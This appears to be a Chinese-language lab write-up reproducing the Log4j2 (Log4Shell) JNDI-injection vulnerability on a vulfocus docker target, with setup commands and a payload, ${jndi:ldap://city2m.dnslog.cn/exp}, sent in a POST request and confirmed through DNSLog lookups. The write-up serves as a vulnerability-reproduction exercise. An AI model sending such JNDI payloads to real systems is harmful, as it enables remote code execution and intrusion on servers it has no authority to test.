通过vulfocus靶场复现log4j2-rce漏洞

0、漏洞基本原理

攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞，当程序将攻击者构造的payload进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。

1、使用docker环境搭建靶场

docker pull vulfocus/log4j2-rce-2021-12-09

2、启动docker容器

docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09

3、访问项目（172.18.19.120:55000）

image.png

4、使用DNSLog生成域名

image.png

5、构造POST请求到项目:172.18.19.120:55000/hello

image.png

6、构造参数payload

payload=${jndi:ldap://city2m.dnslog.cn/exp}

city2m.dnslog.cn为通过DNSLog生成的域名。

7、抓包进行请求重放

image.png

8、在DNSLog中观察域名的DNS解析记录

image.png

DNSLog中出现新的DNS解析记录说明我们构造的payload被服务器成功执行，证明该漏洞存在。

漏洞的进一步利用不便过多展示。